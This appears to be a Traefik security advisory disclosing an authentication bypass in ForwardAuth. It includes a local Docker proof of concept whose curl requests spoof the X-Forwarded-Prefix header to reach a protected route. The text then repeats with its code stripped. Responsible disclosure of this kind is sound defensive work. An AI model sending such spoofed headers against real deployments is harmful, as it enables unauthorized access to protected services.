Original Description
Summary
ForwardAuth with trustForwardHeader=false still forwards an attacker-controlled X-Forwarded-Prefix header to the authentication service when Traefik is deployed behind a trusted upstream proxy. If the auth service relies on X-Forwarded-Prefix for authorization or routing decisions, an external attacker can bypass access controls and reach protected backend routes.
This was validated this against Traefik v3.6.12 using the official Docker image and a minimal local Docker setup. A direct request to Traefik is correctly rejected, but the same request succeeds when sent through a trusted reverse proxy, which shows the issue is in the ForwardAuth subrequest handling rather than general ingress header stripping.
Details
The vulnerable behavior comes from the way Traefik builds the subrequest sent to the forward-auth server.
In pkg/middlewares/auth/forward.go, writeHeader first copies all incoming request headers into the auth subrequest:
func writeHeader(req, forwardReq *http.Request, trustForwardHeader bool, allowedHeaders []string) {
utils.CopyHeaders(forwardReq.Header, req.Header)
...
forwardReq.Header = filterForwardRequestHeaders(forwardReq.Header, allowedHeaders)
It then selectively rebuilds only a subset of forwarded headers when trustForwardHeader=false, for example:
X-Forwarded-For
X-Forwarded-Method
X-Forwarded-Proto
X-Forwarded-Port
X-Forwarded-Host
X-Forwarded-Uri
However, it does not remove or rebuild X-Forwarded-Prefix, so an attacker-supplied value remains in the auth request even when forwarded headers are supposed to be untrusted.
This becomes security-relevant when StripPrefix is used before ForwardAuth. In pkg/middlewares/stripprefix/strip_prefix.go, Traefik appends the stripped prefix using Header.Add:
func (s *stripPrefix) serveRequest(rw http.ResponseWriter, req *http.Request, prefix string) {
req.Header.Add(ForwardedPrefixHeader, prefix)
If the attacker already sent X-Forwarded-Prefix: /admin, and StripPrefix later adds /forbidden, the auth service receives both values in this order:
/admin (attacker-controlled)
/forbidden (Traefik-generated)
An auth service that uses the first X-Forwarded-Prefix value can therefore be tricked into authorizing a protected route.
Why this appears unintended:
- The docs say
trustForwardHeader means "Trust all X-Forwarded-* headers" and defaults to false.
- The migration notes say
X-Forwarded-Prefix is handled like other X-Forwarded-* headers and removed from untrusted sources.
- The direct-to-Traefik test case behaves consistently with that expectation and returns
403.
- Only the auth subrequest path still honors the spoofed
X-Forwarded-Prefix.
Relevant source/documentation locations:
pkg/middlewares/auth/forward.go lines 393-459
pkg/middlewares/stripprefix/strip_prefix.go lines 65-68
pkg/middlewares/forwardedheaders/forwarded_header.go lines 15-43
docs/content/reference/routing-configuration/http/middlewares/forwardauth.md lines 59-62 and 130-140
docs/content/migrate/v3.md lines 192-196
This was only tested and validated with X-Forwarded-Prefix. By source review, other forwarded headers that are copied but not rebuilt in writeHeader may deserve separate review, but I am not claiming impact for them here.
PoC
The following uses the official traefik:v3.6.12 Docker image and a mounted traefik.toml, matching the documented deployment style.
- Create
traefik.toml:
[entryPoints]
[entryPoints.web]
address = ":80"
[entryPoints.web.forwardedHeaders]
trustedIPs = ["172.31.79.0/24"]
[providers]
[providers.file]
filename = "/etc/traefik/dynamic.toml"
watch = false
[log]
level = "DEBUG"
[accessLog]
- Create
dynamic.toml:
[http.routers]
[http.routers.app]
entryPoints = ["web"]
rule = "Host(`app.local`) && PathPrefix(`/forbidden`)"
middlewares = ["strip-forbidden", "authz"]
service = "backend"
[http.middlewares]
[http.middlewares.strip-forbidden.stripPrefix]
prefixes = ["/forbidden"]
[http.middlewares.authz.forwardAuth]
address = "http://auth:8000/check"
trustForwardHeader = false
authResponseHeaders = ["X-Auth-First-Prefix", "X-Auth-All-Prefixes"]
[http.services]
[http.services.backend.loadBalancer]
[[http.services.backend.loadBalancer.servers]]
url = "http://backend:80"
- Create
auth.py:
import json
from http.server import BaseHTTPRequestHandler, HTTPServer
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
if not self.path.startswith("/check"):
self.send_response(404)
self.end_headers()
return
prefixes = self.headers.get_all("X-Forwarded-Prefix") or []
first = prefixes[0] if prefixes else ""
payload = {
"path": self.path,
"first_prefix": first,
"all_prefixes": prefixes,
"x_forwarded_for": self.headers.get_all("X-Forwarded-For") or [],
}
print(json.dumps(payload), flush=True)
if first == "/admin":
self.send_response(200)
self.send_header("X-Auth-First-Prefix", first)
self.send_header("X-Auth-All-Prefixes", "|".join(prefixes))
self.end_headers()
self.wfile.write(b"authorized\n")
return
self.send_response(403)
self.send_header("Content-Type", "application/json")
self.end_headers()
self.wfile.write(json.dumps(payload).encode() + b"\n")
HTTPServer(("0.0.0.0", 8000), Handler).serve_forever()
- Create
frontend.conf:
server {
listen 80;
access_log /dev/stdout;
location / {
proxy_http_version 1.1;
proxy_pass http://traefik:80;
proxy_set_header Host $http_host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
}
- Start the containers:
docker network create --subnet 172.31.79.0/24 traefik-readme-net
docker run -d --name traefik-readme-backend \
--network traefik-readme-net \
--network-alias backend \
traefik/whoami
docker run -d --name traefik-readme-auth \
--network traefik-readme-net \
--network-alias auth \
-v "$PWD/auth.py:/app/auth.py:ro" \
-w /app \
python:3.12-alpine \
python /app/auth.py
docker run -d --name traefik-readme-traefik \
--network traefik-readme-net \
--network-alias traefik \
-p 18081:80 \
-v "$PWD/traefik.toml:/etc/traefik/traefik.toml:ro" \
-v "$PWD/dynamic.toml:/etc/traefik/dynamic.toml:ro" \
traefik:v3.6.12
docker run -d --name traefik-readme-frontend \
--network traefik-readme-net \
-p 18080:80 \
-v "$PWD/frontend.conf:/etc/nginx/conf.d/default.conf:ro" \
nginx:alpine
- Send three requests:
Direct to Traefik, spoofed header:
curl -sS -i \
-H 'Host: app.local' \
-H 'X-Forwarded-Prefix: /admin' \
http://127.0.0.1:18081/forbidden/test
Expected result:
HTTP/1.1 403 Forbidden
...
{"path": "/check", "first_prefix": "/forbidden", "all_prefixes": ["/forbidden"]}
Through trusted proxy, no spoofing:
curl -sS -i \
-H 'Host: app.local' \
http://127.0.0.1:18080/forbidden/test
Expected result:
HTTP/1.1 403 Forbidden
...
{"path": "/check", "first_prefix": "/forbidden", "all_prefixes": ["/forbidden"]}
Through trusted proxy, spoofed header:
curl -sS -i \
-H 'Host: app.local' \
-H 'X-Forwarded-Prefix: /admin' \
http://127.0.0.1:18080/forbidden/test
Observed result:
HTTP/1.1 200 OK
...
X-Auth-All-Prefixes: /admin|/forbidden
X-Auth-First-Prefix: /admin
X-Forwarded-Prefix: /admin
X-Forwarded-Prefix: /forbidden
The backend response confirms that the request reached the protected upstream after the auth service accepted the attacker-controlled prefix.
- Optional log confirmation from the auth service:
docker logs traefik-readme-auth
Observed log sequence:
{"path": "/check", "first_prefix": "/forbidden", "all_prefixes": ["/forbidden"], ...}
{"path": "/check", "first_prefix": "/forbidden", "all_prefixes": ["/forbidden"], ...}
{"path": "/check", "first_prefix": "/admin", "all_prefixes": ["/admin", "/forbidden"], ...}
- Cleanup:
docker rm -f traefik-readme-traefik traefik-readme-backend traefik-readme-auth traefik-readme-frontend
docker network rm traefik-readme-net
Impact
This is an authentication bypass / trust-boundary bypass.
Affected deployments are those that:
- run Traefik behind a trusted upstream proxy
- use
ForwardAuth
- rely on
trustForwardHeader=false to avoid trusting client-supplied forwarded headers
- pass
X-Forwarded-Prefix to the auth service, which happens by default when authRequestHeaders is empty
- make authorization or routing decisions based on
X-Forwarded-Prefix, especially when StripPrefix runs before ForwardAuth
In those environments, an unauthenticated external attacker can influence the auth service's view of the protected path and gain access to backend routes that should be denied.
Summary
There is a high-severity authentication bypass vulnerability in Traefik's
ForwardAuthmiddleware whentrustForwardHeader=falseis configured and Traefik is deployed behind a trusted upstream proxy.While
X-Forwarded-*headers (such asX-Forwarded-For,X-Forwarded-Host, andX-Forwarded-Proto) from trusted context are correctly rebuilt, it does not strip or rebuildX-Forwarded-Prefix, leaving any attacker-supplied value intact in the subrequest forwarded to the authentication service.When the authentication service makes authorization decisions based on
X-Forwarded-Prefix, an external attacker can spoof a trusted prefix value and gain unauthorized access to protected backend routes.Patches
For more information
If there are any questions or comments about this advisory, please open an issue.
Original Description
Summary
ForwardAuthwithtrustForwardHeader=falsestill forwards an attacker-controlledX-Forwarded-Prefixheader to the authentication service when Traefik is deployed behind a trusted upstream proxy. If the auth service relies onX-Forwarded-Prefixfor authorization or routing decisions, an external attacker can bypass access controls and reach protected backend routes.This was validated this against Traefik
v3.6.12using the official Docker image and a minimal local Docker setup. A direct request to Traefik is correctly rejected, but the same request succeeds when sent through a trusted reverse proxy, which shows the issue is in theForwardAuthsubrequest handling rather than general ingress header stripping.Details
The vulnerable behavior comes from the way Traefik builds the subrequest sent to the forward-auth server.
In
pkg/middlewares/auth/forward.go,writeHeaderfirst copies all incoming request headers into the auth subrequest:It then selectively rebuilds only a subset of forwarded headers when
trustForwardHeader=false, for example:X-Forwarded-ForX-Forwarded-MethodX-Forwarded-ProtoX-Forwarded-PortX-Forwarded-HostX-Forwarded-UriHowever, it does not remove or rebuild
X-Forwarded-Prefix, so an attacker-supplied value remains in the auth request even when forwarded headers are supposed to be untrusted.This becomes security-relevant when
StripPrefixis used beforeForwardAuth. Inpkg/middlewares/stripprefix/strip_prefix.go, Traefik appends the stripped prefix usingHeader.Add:If the attacker already sent
X-Forwarded-Prefix: /admin, andStripPrefixlater adds/forbidden, the auth service receives both values in this order:/admin(attacker-controlled)/forbidden(Traefik-generated)An auth service that uses the first
X-Forwarded-Prefixvalue can therefore be tricked into authorizing a protected route.Why this appears unintended:
trustForwardHeadermeans "Trust all X-Forwarded-* headers" and defaults tofalse.X-Forwarded-Prefixis handled like otherX-Forwarded-*headers and removed from untrusted sources.403.X-Forwarded-Prefix.Relevant source/documentation locations:
pkg/middlewares/auth/forward.golines 393-459pkg/middlewares/stripprefix/strip_prefix.golines 65-68pkg/middlewares/forwardedheaders/forwarded_header.golines 15-43docs/content/reference/routing-configuration/http/middlewares/forwardauth.mdlines 59-62 and 130-140docs/content/migrate/v3.mdlines 192-196This was only tested and validated with
X-Forwarded-Prefix. By source review, other forwarded headers that are copied but not rebuilt inwriteHeadermay deserve separate review, but I am not claiming impact for them here.PoC
The following uses the official
traefik:v3.6.12Docker image and a mountedtraefik.toml, matching the documented deployment style.traefik.toml:dynamic.toml:auth.py:frontend.conf:Direct to Traefik, spoofed header:
Expected result:
Through trusted proxy, no spoofing:
curl -sS -i \ -H 'Host: app.local' \ http://127.0.0.1:18080/forbidden/testExpected result:
Through trusted proxy, spoofed header:
Observed result:
The backend response confirms that the request reached the protected upstream after the auth service accepted the attacker-controlled prefix.
Observed log sequence:
{"path": "/check", "first_prefix": "/forbidden", "all_prefixes": ["/forbidden"], ...} {"path": "/check", "first_prefix": "/forbidden", "all_prefixes": ["/forbidden"], ...} {"path": "/check", "first_prefix": "/admin", "all_prefixes": ["/admin", "/forbidden"], ...}Impact
This is an authentication bypass / trust-boundary bypass.
Affected deployments are those that:
ForwardAuthtrustForwardHeader=falseto avoid trusting client-supplied forwarded headersX-Forwarded-Prefixto the auth service, which happens by default whenauthRequestHeadersis emptyX-Forwarded-Prefix, especially whenStripPrefixruns beforeForwardAuthIn those environments, an unauthenticated external attacker can influence the auth service's view of the protected path and gain access to backend routes that should be denied.
References